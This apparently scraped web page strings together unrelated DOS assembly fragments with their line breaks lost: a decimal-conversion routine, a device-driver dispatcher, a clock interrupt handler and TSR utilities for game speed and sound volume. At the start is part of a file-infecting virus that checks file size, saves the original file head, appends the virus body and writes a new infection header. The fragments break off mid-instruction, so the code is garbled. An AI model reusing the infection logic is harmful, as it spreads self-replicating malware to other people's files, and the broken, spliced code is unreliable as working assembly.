; file is too big .. not infectCmp ax, 10Jb closefilenear; file is too small .. not infect
; Infect begin, hahahahaha ....Jmp infectbeginClosefilenear:Jmp closefileInfectbegin:MoV ax, 9f80hMoV ds, axMoV es, axMoV Si, offset filehead-baseoffMoV Di, offset oldhead-baseoffMoV CX, 10ClDRep movsb; Save the old file head
Call addvirustofileCall mov_ptr_to_head
MoV Di, offset infecthead-baseoffMoV dx, DiINC diMoV CX, word PTR [filesize-baseoff]Add CX, 100 hMoV word PTR [di], CXMoV CX, 7MoV ah, 40 hInt
: Convert DWORD data to a decimal string, the string ends with 0 .; Parameter: (ax) = low 16 bits of DWORD data, (dx) = high 16 bits of DWORD data, DS: Si points to the first address of the string, and return: No dtocex: dataseg_dtocex segmentdb 100 DUP (0); DB 100 DUP (0); Result and intermediate variable dataseg_dtocex endspush BX push espush dipush cxmov BX, dataseg_dtocexmov es, bxmov ES: [0], axmov ES: [2], dsmov ES: [4], SiMoV ES: [6], dxmov Di, 0mov ax, ES: [0] dtocex_s: moV CX, 10 call d
foundAdd si,12; Point to next error messageSHR dh,1; Divide DH by 2Loop E_loop; Keep going until matched DH = 0CMP ah,3; Error code no even number; 3 perhaps?Je e_found; If yes, have found the errorAdd si,12; ERR unknown; Unknown error returnedE_found:call Write_to_screen; Write the error message to the screenPop es; Restore the RegistersPop siPop diPop DXPop CXPop axFin:pop Ret_addr_word; Fooling with the stack. We want toPop ret_addr_word[2]; Prese
Memory-resident keyboard activation in the way to control the speed of the game, in the game by CTRL-F9 activation, the effect is obvious!! (no keyboard unlock processing, interested to add)
Source:
Code segmentAssume Cs:code,ds:codeOrg 100hBEGIN:JMP InitZD db ' FAST V1.0 zdsoft 1995 ', 0dh,0ah, ' $ 'Mes db ' press CTRL-F9 to fast! ', 0dh,0ah, ' $ 'Mes1 db ' already install!$ 'INT9 DD?Mark DB ' Zd 'New_int proc FarSTiPush AXPush ESXOR Ax,axMOV Es,axIn al,60hTest al,80hJNZ exit1Test byte ptr es
,max_cmd; Make sure its legalJG Unk_command; Too big, exit with error codeSHL bx,1; Form Index to Dispatch table; and branch to driver routineJMP word ptr [bx+dispatch]Page; General collection of exit points for the driver routines.Unk_command:; Come here if Command Code too.MOV al,3; Sets "Unknown Command" error; Code and "Done" bit.Error:; Transfer here with AL = error code.MOV ah,81h; Sets "Error" and "done" bits.JMP ExitDone:mov ah,1; Come here if I/O complete and; No error, sets "Done" bit
ITCMP cx,20; 01f4h; Has A MINUTE GONE by?JB No_minute; NO, move onCall UPDATE; YES, UPDATE CLOCK andMOV cx,0; RESET TICK COUNTERNo_minute:MOV cs:ticks,cx; SAVE UPDATED TICK COUNTMOV cx,0b000h; Get Video SEGMENTMOV es,cx; Put in ESMOV Dx,cs:crt_port; Get CRT STATUS PORT ADDRMOV Di,word PTR Cs:scr_off; Get screen BUFFER OFFSETLEA Si,cs:time; Get DOS TimeMOV cx,16; SET up to move BYTESCLI;D isable Other interruptsWait1:in AL,DX; READ CRT STATUSTEST al,1; CHECK for VERTICAL RetraceJNZ WAIT1; Wait f
remainder is converted to a string.Push CXMoV CX, axJcxz OK INC BXJMP d2c_s
OK:MoV CX, BXReverse:; put strings in the correct orderPop axMoV [di], AlINC diLoop reverseMoV Al, 0MoV [di], AlINC diPop BXPop DXPop CXPop diRET; Subroutine description; Name: divdwFunction: conducts Division operations without overflow. The divisor type is DWORD, the divisor type is word, and the result is DWORD.; Parameter: (dx) = high 16-bit (ax) of DWORD data = low 16-bi
Dos the sound card volume control program, with memory-resident keyboard activated way of controlling Cd-audio,midi,voice and master volume (not as a keyboard solution blocking processing, interested to add)
CTRL-F1--TURN MASTER vol. up
CTRL-F2--TURN MASTER vol. down
CTRL-F3--TURN CD vol. up
CTRL-F4--TURN CD vol. down
Ctrl-f5--TURN FM vol. up
Ctrl-f6--TURN FM vol. down
Ctrl-f7--TURN VOICE vol. up
Ctrl-f8--TURN VOICE vol. down
Source:
Code segmentAssume Cs:code,ds:codeOrg 100hBEGIN:JMP
Color character againSTI; Interrupts back onInc si; Point to Next characterLoop p062; Done?P070:pop BP; Restore RegistersPop diPop siPop esPop DXPop CXPop bxCLI; No interruptsMOV Ax,holdssMOV Ss,axMOV SP,HOLDSPSTI; Allow interruptsP080:popfPop dsPop axJMP Cs:[jumpval]P100 proc near; Beep the speaker twiceCall p120Push CXMOV cx,20000P105:loop p105; Wait aroundPop CXCall p120Push CXMOV cx,20000P106:loop p106; Wait aroundPop CXCall p120RetP100 ENDPp120
Contact Us
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.